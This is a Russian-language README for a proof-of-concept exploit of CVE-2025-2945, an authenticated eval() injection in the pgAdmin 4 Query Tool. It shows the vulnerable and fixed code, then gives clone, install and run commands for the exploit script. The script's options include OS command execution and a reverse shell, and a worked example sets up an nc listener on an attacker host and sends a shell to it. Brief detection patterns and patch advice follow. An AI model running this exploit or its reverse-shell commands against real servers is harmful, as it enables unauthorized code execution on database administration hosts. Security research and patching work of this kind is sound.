
PoC для CVE-2025-2945 — аутентифицированная RCE через инъекцию eval() в pgAdmin 4, CVSS 9.9
CVSS 3.1: 9.9 (Critical) · Затрагивает: pgAdmin 4 8.10 – 9.1 · Исправлено в: 9.2 (4 апреля 2025) CWE-95 (Некорректная нейтрализация директив в динамически вычисляемом коде / Eval Injection)
Эксплойт proof-of-concept для CVE-2025-2945 — уязвимости удалённого выполнения кода
с аутентификацией в Query Tool pgAdmin 4. Логический флаг состояния транзакции
(query_commited) передаётся напрямую в Python eval() вместо того, чтобы
разбираться как логическое значение, что позволяет аутентифицированному пользователю выполнять произвольный Python
— и, как следствие, произвольные команды ОС — с правами
процесса службы pgAdmin. Тот же анти-паттерн присутствует во второй раз в
модуле Cloud Deployment для провайдера Google (high_availability).
Полное техническое описание, охватывающее первопричину, логику эксплуатации, рекомендации по обнаружению и устранению, доступно здесь: khashayarnazarkardeh.com — Field Notes
Уязвимый код (web/pgadmin/tools/sqleditor/__init__.py):
if key == 'query_commited':
query_commited = (
eval(value) if isinstance(value, str) else value
)
Исправленный код (pgAdmin 9.2+):
query_commited = (
value.lower() in ('true', '1') if isinstance(value, str) else value
)
Уязвимость требует аутентифицированную сессию pgAdmin и транзакцию Query Tool, привязанную к серверу базы данных, уже зарегистрированному в целевой учётной записи. Оба условия являются типичными предпосылками в реальных развёртываниях, где pgAdmin обычно предварительно настроен с одним или несколькими сохранёнными подключениями к серверам.
--username / --password)--db-user / --db-password / --db-name)git clone https://github.com/Khashayarnzk/CVE-2025-2945.git
cd CVE-2025-2945
pip install -r requirements.txt
python3 CVE-2025-2945.py \
--host <target> --port 80 \
--username <pgadmin-email> --password <pgadmin-password> \
--db-user <db-user> --db-password <db-password> --db-name <db-name> \
--cmd id
| Флаг | Описание |
|---|---|
--cmd COMMAND | Выполняет одну команду ОС через os.system() |
--reverse-shell HOST:PORT | Запускает обратную оболочку через именованный канал на ваш прослушиватель |
--raw-payload EXPR | Передаёт сырое Python-выражение напрямую в уязвимый приёмник eval() |
# На вашем атакующем хосте, в отдельном терминале:
nc -lvnp 4444
# Запустите эксплойт:
python3 CVE-2025-2945.py \
--host pgadmin.internal.example.com --port 80 \
--username [email protected] --password 'correct-horse-battery-staple' \
--db-user postgres --db-password postgres --db-name postgres \
--reverse-shell 10.10.14.5:4444
python3 CVE-2025-2945.py --help
Защитникам следует отслеживать:
/sqleditor/query_tool/download/<trans_id> или
/cloud/deploy, где query_commited / high_availability имеет любое значение,
отличное от литерального "true", "false", "1" или "0".__import__, os.system, subprocess,
eval, exec, open(), появляющиеся в любом из этих параметров.Обновитесь до pgAdmin 4 9.2 или новее. Патч представляет собой минимальное исправление приведения к логическому типу с низким риском. Если немедленное патчирование невозможно, ограничьте сетевой доступ к pgAdmin доверенными аутентифицированными сетями и отключите модуль Cloud Deployment для учётных записей, которым он не требуется.
Khashayar Nazarkardeh — Лидер в области кибербезопасности и безопасности ИИ khashayarnazarkardeh.com · @Khashayarnzk
Этот инструмент предоставлен только для авторизованного тестирования безопасности, исследований и образовательных целей. Запуск этого инструмента против любой системы без явного, документированного разрешения владельца системы незаконен в большинстве юрисдикций. Автор не несёт ответственности за неправомерное использование этого программного обеспечения. Используя этот скрипт, вы соглашаетесь с тем, что несёте единоличную ответственность за обеспечение наличия у вас разрешения на тестирование целевой системы.